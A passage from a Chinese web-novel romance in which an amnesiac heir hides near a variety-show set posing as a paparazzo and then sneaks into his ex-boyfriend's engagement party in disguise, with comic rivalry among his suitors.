白年奇怪地问:“五个月前?” 谢清不想让他知道自己离家出走的糗事,忙说:“院长,我没事了,我中间出了一次车祸,失忆了,所以忘记给你报平安。” “噢,居然有这回事?苦了你这孩子了。那你男朋友呢?” “啊?”谢清愣了下。 “你当时还带着一个大概这么高的帅小伙,说是你男朋友啊,我看小伙子对你很好,又体贴又懂礼貌,怎么会放任你出那么大的事呢。” 谢清根本想不起来院长说的是谁,尴尬地摸了摸鼻子。 白年在一边笑着说:“欣欣弟弟现在是单身吧。” 谢清语焉不详地把这个话题糊弄了过去。 院长又从身到心的关怀了他一阵子,谢清终于找到机会提了一下自己最近在创业,想购买一家海外的服务器,苦于没有资质。 白年:“原来是这回事啊,你怎么早不和我说?我也可以帮你啊。” 谢清怀疑地看向他:“是吗?” 白年给他说了一个大老板的名字:“我在养老院做义工的时候认识了他父亲,那个老板就给我留了联系方式。” 谢清高兴极了:“年年哥哥,那你帮帮我。” 白年一口答应了下来。 他只是出去打了几通电话,回来就告诉谢清没有问题,接着就给谢清转发了一份合同让他签:“这个是申请资料,提交上去很快就能批了。” 谢清都没想到会这么顺利:“年年哥哥,我该怎么谢谢你才好?” 白年眼神晦暗不明:“想谢谢我很简单啊,跟我去一个地方吧。” “什么地方?” “来了就知道了。” 白年拉起谢清,刚想和院长道别,教堂门口传出不小的动静,一个浑身是血,额上带疤的男人闯了进来,三个人一起循声回头,院长吓得不轻,差点要喊警察。 谢清发现那人是宋岩,表情也惊愕不已:“岩哥?你、你怎么了……” 宋岩低头看了自己一眼,随手把沾血的外套脱掉,走过来搂住谢清:“抱歉宝宝,来晚了。我没事,不是我的血。这边不宜久留,我们该走了。” 白年脸色不太好:“清清,你朋友这是?” 谢清没想到宋岩和人起冲突到流血的地步,心中七上八下的,也顾不上和白年叙旧了:“年年哥哥,我还有事,改天再聊吧。” 宋岩等他道完别,马上揽着他就走,白年拽住了谢清的胳膊,眼底闪过一丝凉意:“就这么走了吗?我说了,我可以帮你很多忙的。” 谢清稍显犹豫,宋岩微一用力,把他的胳膊从白年手中抽走:“不用了白先生,留步吧。” 宋岩在路边招了辆黑车,坐上车,谢清慌忙检查他的伤口,宋岩胳膊被人用刀划了一道子,裤腿也有多处脚印。 “没事,他们仗着人多而已,也没讨到什么好处。” 谢清颤声问:“是我哥哥的人?那就应该是宋家的自己人,怎么会对你动真格的。” 宋岩摇摇头:“不是大少爷,像连家的人。” 谢清又一惊:“连家?连忆心怎么知道我跑出来了,还在这里呢……”而且连隐不是说了要管教好儿子吗? 宋岩:“大少爷要找人,风声肯定会漏出去,你又一次离家出走,逃跑思路没准和一年前一模一样,被他猜到了吧。” 谢清:“那怎么办?我们还能往哪儿跑?” 宋岩:“连家的杂碎难缠得很,不知道为什么,他们就好像在我们身上安定位了一样,跟这么紧。” 他想了一会儿,说:“最危险的地方就最安全,我查了下,连忆心最近在参加一个综艺录制,我们就去录制场地附近。” 谢清:“会不会太大胆了?” “那附近跟拍的各家私生多如牛毛,多的是和保镖们斗智斗勇的经验,连家的人来了也讨不着便宜,我们假装代拍混进去,他们发现了也很难单独针对。” 谢清一拍手:“岩哥,我以前没发现你挺有脑子啊?” “这是夸我还是损我?”宋岩捏了捏他的脸,“我别的没有,当保镖的经验有的是。” 这一捏,他颇有些爱不释手,身子也往近凑了凑,像嗅到了生肉的野狗一样拱着谢清:“小猫好香啊,别躲,让我闻闻。刚才在教堂,和你的年年哥都说什么了?笑得那么开心。” 谢清在底下掐他大腿:“老实点,司机都看我们了。” “谁敢看你,我把他瞪回去。”宋岩把脸埋在谢清脖颈,在他白皙的皮肉上咬了一口,锋利的眼睛睨向后视镜,与黑车司机对上了视线。 司机果然慌张移开眼睛,假装什么也没看到,什么也没听到,滑开手机和朋友聊起天来。 谢清低叱:“受伤了还不忘耍流氓!” 宋岩喉咙里发出闷笑,伏在他耳边说:“对啊,受伤算什么,要是有天我死了,也得是在小少爷这朵牡丹花下死。” “呸,说得好像我是什么夺人性命的妖怪。” “不是怪,是精。西游记没看过吗?宝宝这么漂亮的,得是修炼了上千年的妖精吧?” 宋岩的手越发不老实起来,隔着衣服都能感觉到他手掌的热度。 “让我检查一下,宝宝到底是什么精,白骨精,还是狐狸精?” “呸呸呸,是食人花精!专吃你这种大色狼!” 谢清被他摸的脸红心跳,论手劲又凹不过他,怕自己在别人车上发出什么不该发出的声音,紧紧咬着下唇。 突然他从车边上的后视镜看到,后面有辆车,旁边放着大道不走,好像一直不远不近跟着他们。 他捅了捅宋岩,示意他也看。 宋岩表情严肃起来:“才说他们缠人,这么快就又来了?” “我们不会真被偷偷放了定位器吧?”谢清想起phantom给他装的探测软件,立刻拿出手机启动。 宋岩在自己身上和外套口袋检查了一遍,甚至鞋底都看了,正要否定,谢清的探测仪就有反应了,根据振动频率,源头还非常近! 谢清脸色变得很差,他和宋岩解释了一下这个app的功能,然后上上下下的在两人身上感应起来。 宋岩突然捉住他的手腕:“你戴着这个干嘛?” 谢清:“什么干嘛?你想要回去啊?不是,你真惦记白年啊?” “什么跟什么,我惦记他干嘛?倒是你,干嘛把他的东西戴手上。” “要你管。” 探测仪突然不震了,谢清纳闷:“怎么回事?坏了吗?” 宋岩:“故障了吧,看着就不靠谱。” 谢清在心里把phantom骂了一顿:“虚惊一场。” 宋岩还是把谢清全身上下仔仔细细检查了一遍。 下了车,谢清拉开门跳了下去。宋岩却慢吞吞的,看着谢清的眼神晦暗不明,遮遮掩掩的走了下来,用外套挡住关键部位。 谢清先是一愣,随即嗤笑:“你不是胆大包天嘛,遮什么呀。” 宋岩笑了笑:“小猫想看,晚上回家给你看。” 谢清又“呸”他两声。 他转身打量这附近,荒郊野岭的看上去也不像综艺拍摄地。 “连忆心在拍什么啊?荒野大逃杀吗?” 宋岩指着他们面前的山:“从这翻过去你就知道了。” “翻过去??” “对啊,我们现在走的是私生路线,你以为呢。” 宋岩看谢清一脸幽怨的鼓起脸颊,好笑:“我背你就是了,累不着你。” 宋岩体力确实优越,背着谢清翻了坐小山,气都不带喘一下的,越过山头,谢清终于看见了综艺拍摄基地,已经和他们一样蹲在山上甚至树上的无数“同行”…… 宋岩往后看了看,尾巴没跟上来,他有些不放心,让谢清在原地等着,不一会儿也不知道从哪儿搞来了一台小破相机,连带口罩帽子帮着谢清全副武装。 “这块儿严恺前阵子工作过,雇他的明星正好是上一期嘉宾。听他说附近有条巷子,里面是一排小旅馆,什么人都住,咱们应该可以在这儿躲上一阵。” 谢清抱着破相机研究了两下,瘪着嘴巴:“好吧。” 宋岩:“你就先在山上待着,把口罩戴好,我去旅馆看看,顺便确认下跟来的车。” “嗯,那你小心。” 宋岩离开后,谢清就靠在树上摆弄相机。 底下的综艺也开始拍摄了,陆陆续续出来几个明星,周围扛着相机的不知道是粉丝还是代拍的人也纷纷动了起来。 谢清闲着也是闲着,举起相机随便拍了两张风景。 过来一个大哥撞撞他肩:“前几天没见过你,新来的?” 谢清含糊应了声。 大哥往他脸上打量几眼,谢清有点不自在,提了提口罩,心想大哥不会是来排挤“同行”的吧。 不料大哥说:“跟我去前面拍啊,一会儿底下开始录,这儿就看不到了,去那里视野绝佳。”他指了指特别靠近场地的一处,都已经越过制作组拉的横条了。 谢清当然要拒绝,可是看到周围人全都往那边去,害怕自己落单,只好答应大哥。 大哥不停和谢清搭话,打听他的来头,打听他的收入。谢清随便编说自己是代拍连忆心的,第一天上岗,没收入。 大哥就笑起来:“嗐,那你一会儿拍到什么,可以卖给我,反正你也没粉圈顾客,卖给我还省力。” 谢清听出来他想搞垄断,不过他也无所谓,随口答应了。 大哥看他这么好说话,给他留了个不错的前排位置。 “连忆心出来了!快拍快拍!” 第28章 第 28 章 连忆心的人气真不是虚的, 他一出场,谢清明显感到周围所有相机都在疯狂按响快门。大家你推我搡,很快这边就被制作组发现了。 一个彪形大汉气势汹汹朝他们走来:“拍什么拍!拍什么拍!” “快跑快跑!”专业代拍们一溜烟就没影了, 大哥也脚底抹油。 只有谢清在原地愣着还没反应过来,那大汉拳头都要挥到他面门了。 谢清情急之下举起相机挡了一下, 本就破烂的二手相机被打在了地上。 彪形大汉可能也是第一次得手打中相机,以往的代拍都是宁愿自己挨打, 也护着吃饭家伙的。 他低头看着那相机愣了一秒, 谢清就委屈推了他一把:“你干嘛呀?凶什么?至于吗, 我又没拍什么!” 谢清那推人的力道,大汉几乎没任何感觉, 铁面无私看着他:“少他妈跟我卖萌,告诉你, 没用!滚一边去!” 谢清真是要气吐血了:“你说谁卖萌……” “怎么了?”连忆心注意到了这边的动静,居然朝这儿走过来。谢清背脊一僵,赶紧低头捡了相机就要跑。 大汉却拽住他不让走:“把拍的删了!” 谢清皱眉:“都说了没拍什么了!” “你再嘴硬?” 眼看连忆心要过来了, 谢清只好扔下相机拔腿就跑。大汉又一次愣了, 拿着相机,懵逼地看向连忆心:“连老师,没什么事哈……” “给我看看。”连忆心伸手接过相机,试着开了下机, 两次才打开, 在相册里一翻, 空空如也, 只有两张山头视角的风景照。 他抬头看向谢清跑掉的方向, 不知在想什么。 “嘶,还真没拍?”大汉咋舌。 “相机还给那人吧, 别在拍摄现场滋事。” “是是是,连老师说的是。” 连忆心转身都打算回去了,走出几步脚步忽然一顿,折回来,拿回相机举起来,对着自己来了张自拍,再重新放在大汉手里。 “刚才那个人,有点像我的一个亲戚,下次看见他,不要赶走,过来告诉我一声,可以吗?” 大汉错愕地舌头打结:“好,好。” 谢清满腹牢骚地回到“大本营”,先前搭话的大哥凑了上来:“你小子,还真是新人啊,看到阎王都不知道跑?” 谢清撇撇嘴:“什么阎王,恶鬼还差不多。” 大哥哈哈一笑:“刚拍到什么没有?” 何止没拍到,简直赔了夫人又折兵。谢清正要开始抱怨,一个代拍拿着他的相机跑过来:“喂,你,这是你的吧?阎王说还给你,接着。” 那人把相机隔空抛过来,谢清手忙脚乱地接了。 大哥愣愣道:“阎王还你相机?” 谢清心想这是当然的,我本来就什么都没拍。大哥倒是好奇地不行,自己翻开他的相册看,这一看,眼珠子差点掉下来。 “你,你……” “什么?” 大哥瞠目结舌半晌,拍拍他的肩:“真是初生牛犊不怕虎,饿死胆小的撑死胆大的。” 谢清开玩笑说:“这照片你还收吗?也算我拍了吧。” “你肯卖给我?”大哥声音都走调了,“收,收!我给你出这个数。” 谢清睁大了眼睛:“多少?”一张破风景照这么值钱? 大哥以为比少了,马上又加了一个数。 谢清生怕他反悔:“成交!” 没想到创业还没开始,代拍先赚钱了。连忆心真是摇钱树啊,拍摄地的几张风景照也能卖这么高的金额?当明星真不得了…… 零钱轻松到账,谢清吃到甜头,忍不住问:“哥,你还收吗?我明天还可以过来拍啊。” “收收收!好的坏的我都收!” 这场交易真是双赢,谢清高兴,大哥也笑得合不拢嘴。 “坏的也收啊?” “好的卖给粉丝,坏的卖给对家。至于你这张……”大哥连连摇头,“啧啧,我得好好想想。” 谢清乐了,不就几张风景照吗,大哥说的让他怀疑自己是不是有什么艺术天分了。 “哥,你这么喜欢?这种照片我随随便便都能拍。” 大哥严肃地朝他拱了拱手:“哥,你是我大哥!来来来加个微信,以后有啥好事带带兄弟啊。” “这话我说才对吧?我是新人啊。”谢清说,“哥,除了这个照片换钱,还有没有别的渠道,你多带带我啊。” 大哥拍拍胸脯:“没问题!过两天底下那个综艺招群演,到时候我给你搞个前排出镜的名额。” “出镜那倒不必了,有钱拿就行……综艺还有群演啊?” “有,怎么没有。”大哥已经加上了谢清的联系方式,给他备注了一个连忆心站哥,括号开挂版。 谢清:“群演不会和嘉宾碰上吧?能不能帮我挑碰不见连忆心的位置啊?” 大哥:“嗯?你不想碰见他?你不是……” “我拍拍他就好了,离太近影响不好。” “哦,我懂我懂,你放心,我给你安排。他们那个综艺就是开店的,嘉宾轮流当店主,连忆心不是天天都在。” 谢清心满意足:“谢谢大佬!” 大哥也眉开眼笑:“谢谢大佬!” 接下来代拍们和制作组继续打游击战,谢清不去凑热闹了,躲在树荫底下打游戏。 好事成双,白天申请的那个codelite云也审批下来了,果然像白年说的速度非常快,谢清马上把序列码转发给了Phantom。 Phantom:【优秀(-^O^-)】 谢清:【那是当然。小P啊,咱们的项目什么能开始营利?】 【小P是??】 【谢老板,我办事你放心,就这几个月的事。】 phantom发来好几串颜文字,谢清不禁在想网线那头到底是个什么样的技术宅?说不定打字的时候一边抖猫耳朵一边面无表情。 谢清通过超绝想象力为phantom增加了几点好感度。 【嗯,还有需求尽管提。】 Phantom:【确实有,有一个小小的请求。我想要一份实验数据,是秦家去年的项目[网页链接],你能不能帮我要过来啊(^ω^)】 谢清:【??你自己问秦屿要去啊,你们不是同学吗。】 【那不行,公是公私是私,他不会给我的(︿) 】 【难道就会给我??】 【你说了会帮我解决除技术外的一切障碍的嘛,谢大老板 】 谢清现在就想顺着网线把这个饭桶揪出来扇两巴掌,这提的要求是一个比一个棘手! 但话说回来,人既然是秦屿介绍的,那区区一份实验数据,秦屿应该不会吝啬吧? 宋岩来接谢清的时候,谢清踌躇着开口:“岩哥,我们要在这边住几天?” 宋岩以为他嫌弃旅馆条件差,安抚地摸摸头:“很快,别担心,等这阵风头过去,我就想办法带你离开本市。” “我不是那个意思,就是,有没有可能,你帮忙带一个人过来偷偷见我呢?” “谁?” “秦屿。”谢清说出这个名字,果然就看到宋岩脸色瞬间沉下去,他赶紧拉住宋岩的手解释,“你听我说,我不是要和他怎么样,是真的有事求他帮忙。” “那也不用非得见他吧?你根本就是放不下他吧?” 谢清跟他好好解释了是创业项目的技术人员的请求,宋岩还是高兴不起来。 一来二去,谢清也生气了:“你不要借题发挥好不好,我根本就不记得以前的事,就算你和他之间有什么恩怨,那我现在就是不记得啊,我能依赖的也只有你啊,我不找你找谁?” 谢清作势起来要走:“好好好,我自己找他去,不用你帮忙!” 宋岩赶紧抱住他:“别走,是我的错宝宝,我答应你就是了。” 谢清不让他抱:“走开,你根本就是馋我身子,不是真的在乎我。” “瞎说什么呢?我怎么不在乎你了?我知道错了好不好啊宝宝。” “你冲我发脾气。” “我没……好是我刚才语气太冲了,我这不是嫉妒秦屿吗,以前你就更喜欢他一点。” “我都说了我不记得了啊!” 对话又绕回去了,宋岩绞尽脑汁把谢清拖回房间里,什么都不说了就是认错。 谢清总不算不吵着要走了:“你要是不情愿也可以不帮。” “我帮我帮,我愿意死了。我现在就去把秦屿给你抓过来。” 谢清被他那副笨拙讨好的样子逗笑了,伸手拉了他袖子一下:“倒也不用现在啦,你手臂上不是还有伤吗?奔波了一天,休息一会儿吧。衣服脱下来我给你上个药。” 他从口袋里掏出路过商店时买到的跌打损伤膏。 宋岩什么负面情绪都没了,一下紧紧抱住他:“我不累。你哪儿来钱买的?” “代拍啊。”说到这个谢清还有点小得意。 宋岩忍不住凑上去亲他一口:“小猫真聪明。还知道想着我,岩哥很高兴。” “少废话,衣服脱了,上药。” 宋岩反手把上衣脱掉,手臂抬高时,毫无赘肉的腰线紧实有力,蜜色的八块腹肌线条分明,胸肌宽阔饱满,随着他动作起伏,呈现出一种力量感。 谢清上手戳了戳,感觉在欣赏雕塑。 “宋家的保镖都和你一样身材这么好嘛?” 宋岩按住他的手,带着他滑去了更大胆的部位:“大家训练方案差不多,不过效果因人而异。” 谢清把手抽回来瞪了他一眼:“确实,不是所有人都和你一样随时随地耍流氓。” 宋岩席地一坐,把手臂搭在谢清腿上,那条结了痂的刀疤已经是暗红色,谢清拿酒精给他消毒的时候全程皱着眉,知道很疼,可宋岩一直盯着他看,嘴角还挂着笑,一声没吭。 谢清:“疼也可以叫的哦。” 宋岩:“小猫就是给我上刀子,也是甜的。” “少贫。” 宋岩伸手拨了两下谢清的碎发,好像很好玩似的,又揉弄他耳垂,粗粝的指腹硌的谢清偏了下头。 “这还是你第一回给我上药呢。” 谢清翻了个白眼:“还不是你第一次在我面前受伤嘛。” “不是。”宋岩说,“几个月前,也伤过一次,在这儿。” 他出示左手指背,有一条淡淡的长长的口子,好像也是被利器划的。 “秦屿划的,但当时你只顾着他,看都不看我。” 谢清动作一顿。 “我为了不打死他,特意用了平时用得少的左手。现在想想,还不如就打死他,进去了说不定让你为我掉两滴泪。” 谢清上药的手故意用力,惹得宋岩龇牙咧嘴:“宝宝,我不喊疼,你也不用、不用这样吧……” “谁让你小心眼,秦屿长秦屿短的,我就是想不起来嘛。不然你帮我想想,我为什么那么喜欢他?” 宋岩脸一黑:“还不是他不安分总勾引你,装成傻白甜,偏偏你还上当。” 谢清想象了一下秦屿装傻白甜?他好像天然就有点傻愣愣的,就拿在柴老师家那晚说,按摩的时候想吃豆腐都笨手笨脚的,换了宋岩给他按,他早被吃干抹净了。 他一笑,宋岩脸更黑了:“你笑什么?真想他了?” “笑你是笨蛋狗狗,小心眼!”谢清给他把纱布缠好,拍拍手,“好啦,下次再受伤,我可不管你了。” 宋岩阴森的笑:“放心吧宝宝,下次再揍秦屿那小子,我一定用右手,不给他伤我的机会。” 不久后。 宋岩带回来一个不太妙的消息,秦屿最近出行身边都是保镖环绕,那些人说是保护他,同时也在限制他,宋岩找不到单独把人揪出来的机会。 “不过也有个好消息。”宋岩说这句话时笑的阴阳怪气,谢清预感他说不出什么太好的话。 “那就是秦屿要订婚了。”宋岩说完就观察着谢清的反应。 谢清没什么反应,订就订呗,跟他有什么关系。 他没反应,宋岩就十分高兴,不忘多讲几句秦屿的坏话:“宝宝你是不记得,你当初和他交往的时候我就说过,那傻吊配不上你,迟早辜负你。” 谢清看出来了,秦屿真的是宋岩的一大心结。 他失忆前有那么喜欢秦屿吗?让小狗吃醋成这样? 宋岩接下来才说:“订婚宴就在后天,那时候他应该有单独的时间,我可以带你混进去见他一面。” 谢清:“秦家订婚宴,会宴请的名流应该不少吧?我哥会不会……” “大少爷也不待见他,不可能去的。” 宋岩从身后拿出个礼盒:“不过不排除有其他认识你的人,所以保险起见,小猫就穿这个去吧。” 礼盒打开,一条漂亮的高档红礼裙躺在里面,绸缎在日光灯下呈现出流水般的光泽。谢清面无表情提起来,发现礼裙背后甚至是镂空的,只有一条珍珠项链垂下去,如果穿在他身上,那项链尾端的菱形宝石刚好坠在他的…… 谢清面色不善地瞪向宋岩。 宋岩嬉皮笑脸地献上另一只礼盒:“宝宝先别气,这条是我想你私下穿给我看的,这条才是后天要穿的。” 这次盒子里装的是一条蓝丝绒掐腰礼裙,复古质感,谢清面无表情地提起来看了看前后,扔回去。 “还挺了解我的尺码?” 宋岩笑:“那是。” 他又递给谢清一张邀请函,上面是一个女人的名字,连身份都伪造好了。 “那你?”谢清问。 “我不走正门。”宋岩说,“不过宝宝放心,我会在暗处保护你的。” 很快到了晚宴当天。 谢清穿上那条蓝丝绒礼裙,戴着黑色长手套,用黑纱遮挡着半边脸顺利混进了宴会厅。 听闻秦屿的订婚对象是个女明星,请了许多圈内十八线不知名网红模特,谢清的身份没太遭到质疑。 秦家真不愧是富贵人家,订婚宴都搞的这么盛大奢华,谢清进来的时候差点在花园迷路。 邀请函上写了详细流程,先是主持人的暖场,再来是秦屿和未婚妻的发言环节,接下来居然还有交际舞和游戏。 谢清只想躲在冷桌吃到秦屿发完言。 宋岩说,唯一的见面机会就是秦屿发言后,交际舞开始前,中间那段他去换衣服的时间。 现在,谢清只能百无聊赖地在小蛋糕前打发时间。 他落单的背影已经吸引到许多人的注意,蓝礼裙把他的腰线突显无余,他就那么随意往冷桌前一站,便是宴会厅里最独特的风景。 一个大腹便便的中年男人走了过来,假借和谢清拿同一款蛋糕的动作撞了他的手。 “哦,抱歉,小姐你请。” 男人一开口,谢清就知道他肚子里装了什么墨水,实在懒得搭理。 “小姐贵姓?” 谢清低头展开邀请函瞟了一眼,应付道:“林。” “哦——林小姐难道是xx传媒的新艺人?” 要是放在平时,谢清能百分百笃定老男人是没话找话,恶俗搭讪。但今天偏偏他用了别人身份,也不敢说林小姐是不是真不认识这男人。 谢清只好按捺烦躁,虚与委蛇。 秦屿被父亲的人盯着被迫走进宴会厅,身边是他第一次见面的未婚妻。 未婚妻挽着他的胳膊:“阿屿,该上台了。” 秦屿:“我不去,你爱说自己上去说吧。” 秦父的人投来眼神威压,秦屿不悦:“瞪什么瞪?我能来已经很给面子,多的别想,不然你们就押我上去吧。” 未婚妻没办法,只好尬笑两声说:“那算啦,我去和主持人说,取消发言环节好了。” 秦屿冷着脸对父亲的人说:“我人来都来了,别跟着了。让宾客看到像什么样子?” 那两人对视一眼,默认了秦屿的话。 秦屿总算把他们甩掉,差点透不过气来。 他从路过的侍应生托盘中取了杯红酒,猛灌了一口,才勉强压下心中不快。 他忽然看到前面的廊柱边站着个中年男人,是前阵子开会时见过的王总,王总油腻的脸上堆满猥琐的笑,似乎正在搭讪一个女宾客。 女宾客肢体动作写满了拒绝,可王总的手却越来越不老实。 秦屿实在看不惯,走了上去。 “王总?您在这儿啊,我大哥刚才还问起您呢,好像有事想和您聊。” 王总看见是秦屿,略显尴尬地收回手:“哦?是吗,这……也不急吧?哈哈。” 秦屿轻轻搭住那个低着头的女宾客的肩:“怎么,王总和我的女朋友有很多话说吗?” “女、女朋友?”王总笑容僵硬了不少。过了半晌,缓解气氛似的又笑起来,“没想到小秦总家中红旗不倒,在外彩旗飘飘啊,真是年少风流,理解,理解,哈哈……对了你大哥是在?” “在那边。”秦屿随便指了下花园的方向。 王总又客套两句,匆匆告辞了,临走时还颇为遗憾地看了谢清一眼。 秦屿拿开手掌,对身边的女宾客说:“吓到你了吗?不好意思,我那么说只是……” 他突然卡壳了。 因为谢清已经似笑非笑地抬起了脸庞,半遮的黑纱下是掩盖不住的流光溢彩,即使秦屿已经看过一万遍,乍看还是会被惊艳到说不出话。 “小秦总家中红旗不倒,在外彩旗飘飘,真是年少风流啊?”谢清软声软语地调侃。 “老婆……”秦屿脸涨得通红,眼睛都不知道该看哪儿,“我在做梦吗?” “你掐自己一下试试呢?” 秦屿还真狠掐了一把大腿,痛的干嚎一声,随即眼睛里迸发出亮晶晶的光彩,傻笑着拉起谢清的手:“宝宝!你怎么会在这里?” 谢清反手拍了他一下:“叫人看见像什么,这不是你的订婚宴嘛,我来,当然是祝贺你啊,你未婚妻呢?让我看看在哪儿?” 秦屿喜色瞬间被浇灭了:“不是这样的宝宝,你听我解释,我绝对不会和别人结婚!这个订婚,是权宜之策。你再多给我一点时间,我……” “嘘。” 黑丝绒手套比在了秦屿的嘴唇,谢清笑了笑:“这跟我有什么关系呢?” 秦屿脸色一白,着急地握住谢清的手腕,眼中满是慌乱,呼吸都急促了。 谢清左右看了看,感觉已经有不少人在看他们了,于是低声说:“去个没人的地方说话。” 秦屿立刻:“去我的更衣室。” 谢清和秦屿错开脚步,一前一后掩人耳目地离开了宴会主厅。 一进更衣室,秦屿就急不可耐地转身吻住了谢清,一手关上门,一手捧着他的脸:“宝宝今天好美……是专门为我打扮的吗?” “你也美,想得美!”谢清推开了他,“我来找你是有个事,想让你帮忙。” 秦屿想也不想地:“没问题。” 他答应的这么干脆,在谢清的预料之中,却仍让他产生片刻恍惚。 谢清抵靠在桌沿,朝秦屿勾了勾手指。 秦屿巴巴儿的过来了,看着谢清慢吞吞摘掉手套,露出嫩藕一样的胳膊,然后搭在了他的脖子上。 再普通不过的动作,谢清做起来却充满风情,秦屿东想西想,把自己耳根想红了。 谢清突然不是很想这么快结束今日任务,他也不急着说什么事,就含笑歪头看着秦屿,一会儿勾他的领带,一会儿摸他的喉结。 秦屿的忍耐到了极限,一下抱起谢清把他放在桌子上,再度欺身吻上去。 但谢清就是喜欢看他着急吃不到的样子,又一次躲开了,笑得很狡黠。 “我问你,在医院那次,我被医生骗说怀孕了。你当时很肯定地说不是你的,为什么?” 秦屿红到了脖子:“我……我没碰过你。” “为什么?听说我很喜欢你呀,喜欢到,有人吃醋得厉害呢。”谢清一边用指尖轻轻摩挲着秦屿的唇,一边漫无边际地想,“因为你要结婚?” “不是!”秦屿急了,“我不结婚!” “——因为他那时是个吃你软饭的软蛋啊,小猫。” 窗户被人从外面撞碎,一个高大的身影翻了进来。 宋岩这是第二次在玻璃碎片中和谢清见面了,谢清还是难以习惯,吓了一跳:“岩哥,你说不走正门,也,也不用混进来后还是不走正门吧……” 而秦屿在看到宋岩的一瞬间,已经双目赤红:“又是你这个小三!” “小三?你说谁?”宋岩体型高大,走过来时极具压迫感。 秦屿没有丝毫畏惧,有的只是愤怒:“当然是你!当初我和老婆在一起,就是你屡屡破坏!” “我那是让小少爷及时看清你这吃软饭的废物!” “吃软饭?”谢清忍不住问。 秦屿扭头和他解释:“我……我只是当时和秦家脱离了关系,一时半会儿身无分文,宝宝你才接济我一下。” “那不就是吃软饭吗?”宋岩说,“还有,别见了我就叫小三,笑死,没听过一句话嘛,不被爱的才是小三吧?你现在才是在插足别人感情!” “说这种话,你真有脸?” 谢清头疼地捂住脑门:“停,要吵出去吵。” 第29章 第 29 章 秦屿捧住谢清的手:“宝宝我不吵, 你和我好不容易见一面,我哪有闲工夫和小三吵架。” 宋岩看到秦屿这副卖乖的样子就来气,上去把他扒拉开:“滚他妈蛋, 叫谁宝宝,别对我的人动手动脚的, 滚开!” 秦屿说不吵就真的不吵了,假装没听到宋岩的挑衅, 被他一扒拉, 委屈巴巴地踉跄后退, 一句嘴都不还。 谢清微微皱眉:“岩哥,你是来帮我还是搅事的?” 宋岩一时哑口无言:“……不是宝宝。”他瞪着秦屿, “靠,我都没用劲, 你装什么装啊!宝宝他是装的。” 谢清面无表情地看着他。宋岩认栽:“……你们继续说,我听着就是了。”他虽然恨不得立刻暴揍秦屿一顿,但理智知道谢清今天来就是请秦屿帮忙的, 只好忍耐下去。 被宋岩杵在旁边这么看着, 谢清也没了刚才调情的意趣,和秦屿开门见山:“就是想让你帮我搞一份实验数据。” 他把项目名一说,秦屿原本志得意满的脸也愁云惨淡起来:“啊,这个, 嘶……” 宋岩嘲道:“看吧, 需要他的时候就不顶用了。” 秦屿白他一眼, 又赶紧对谢清解释:“不是, 宝宝, 你也知道,一年前我还没接手秦家的业务, 那个项目是我哥的。而我现在和他是竞争关系……” 谢清皱眉:“phantom是你介绍给我的,那他现在就是要这个东西,不然你和他说让他换个需求。” 秦屿低头想了会儿,说:“宝宝,给我点时间,我会想想办法的。” 谢清冷哼:“打从认识你,我听你说过最多的话好像就是给你一点时间?” 秦屿还要解释,更衣室的门突然被人用力推开,屋里三个人一齐回头。 订婚宴的另一个主角,秦屿的未婚妻方歆雅站在门口,怒意磅礴:“阿屿,我就知道你这么半天不见影子,一定是和小三偷偷见面来了!” 秦屿先是一慌,在看见只有她一个人来的后,稍微镇定了些,有意无意地挡住谢清:“歆雅,你何必这么说,我早就告诉过你我有心上人的。” “那我不管,既然要和我结婚,你就要和他断干净,我可不想还没结婚就被娱记和网友嚼舌根说未婚夫出轨男人!” “我不结婚!歆雅,咱们俩应该统一战线才对啊,这婚是咱俩想结的吗?你来的正是时候,你当着我老婆的面帮我和他解释清楚,我们都是身不由己的,是不是?” 宋岩在一旁点头赞同:“你来的正是时候,快把你未婚夫领走吧。” 谢清也从桌子上缓缓跳下来,拍了拍裙子:“你来的正是时候,你们聊吧,我……” 方歆雅怒气冲冲的往宋岩面前一站,指着他:“呸!你这小三!离我未婚夫远点!” 宋岩:“??”我又小三了? 秦屿脸一黑:“歆雅你能不能不要侮辱我,他虽然确实是小三,但我老婆是……” 方歆雅怒而打断,持续对宋岩输出:“听见了?你这个小三!你怎么进来的?我要叫保安把你轰出去。” 她说做就做,立即拿手机拨出去电话,这下宋岩和谢清脸色都有点不妙。 谢清掩着嘴唇笑了笑:“呵呵呵,我吃瓜路过,我先走一步。” “站住!”方歆雅瞪向谢清,谢清背脊一僵,秦屿和宋岩眉头一锁,都做出上去解围的预备姿势。 方歆雅:“姐姐你裙子哪里买的?能不能分享个链接给我?好喜欢!” 谢清:“……” 他指了下宋岩:“那个小三买给我的,你问他要。” 然后迅速开溜。 宋岩无辜被骂,委屈至极:“宝宝你……” 方歆雅惊讶:“你叫谁宝宝?好家伙你男女通吃的?阿屿你看到了,你心上人他出轨!” 秦屿目光如刀对着宋岩:“你叫谁宝宝!还给他买裙子,呵,不要脸。” 方歆雅不满:“当着我的面你还吃醋?!” 宋岩不耐烦:“滚一边哄你未婚妻去,宝宝我……草!” 看到迎面跑来的一群手持电棍的保安,宋岩骂声不断,却也不得不沿着进来的窗户再度翻出去,火速逃之夭夭。 秦屿给方歆雅竖了个大拇指:“谢谢你,歆雅!干得漂亮!” 方歆雅:“??” 谢清慌慌张张回了宴会正厅,不久后秦屿和方歆雅也来了,秦屿不停在人群里张望,谢清心里骂他太明目张胆,足下生风,快速躲到一只大蛋糕后面。 由于连连倒退,他不小心踩到了一个人。 “啊对不起对不起。”谢清赶紧道歉。 一回头,发现是个气质儒雅的男人,金丝眼镜被他撞的歪了点,男人伸出食指和中指轻轻一推,若无其事地微笑:“没事,我看小姐刚才从更衣室出来?” “呃,我刚才就是,路过吃个瓜。” “哦?是什么瓜?我也很好奇呢。听说秦小少爷在和情人偷偷见面?” 好家伙,这就传到主厅了吗? 谢清稍显慌张:“具体我也不清楚,好像是这样吧。” “那他的那个情人,往哪边跑了呢?” 谢清奇怪地看了男人一眼,男人赶忙道歉:“是不是我太唐突了?不好意思,我这个人就是爱吃瓜。” “没事,理解。” 这时候主厅上方响起了古典乐,主持人请宾客们前往舞池跳舞。谢清一看,秦屿和方歆雅已经被围在了舞池中央。 眼前的男人适时伸出手,行了个邀舞的礼仪:“美丽的小姐,不知我有没有荣幸请你跳一支舞?” 谢清掩唇尬笑:“那个,我不会。而且我手套好像丢了,我得去找找。” “我叫侍应生帮你找吧。”男人抬手招来一个侍应生,吩咐了两句。然后回过头笑着再次递上手,“没关系的,不会跳我可以教您,我很有耐心。” 谢清余光一瞄,见之前那个王总也在附近,害怕过会儿又被缠上,干脆就答应了男人。 男人带着他走进舞池。 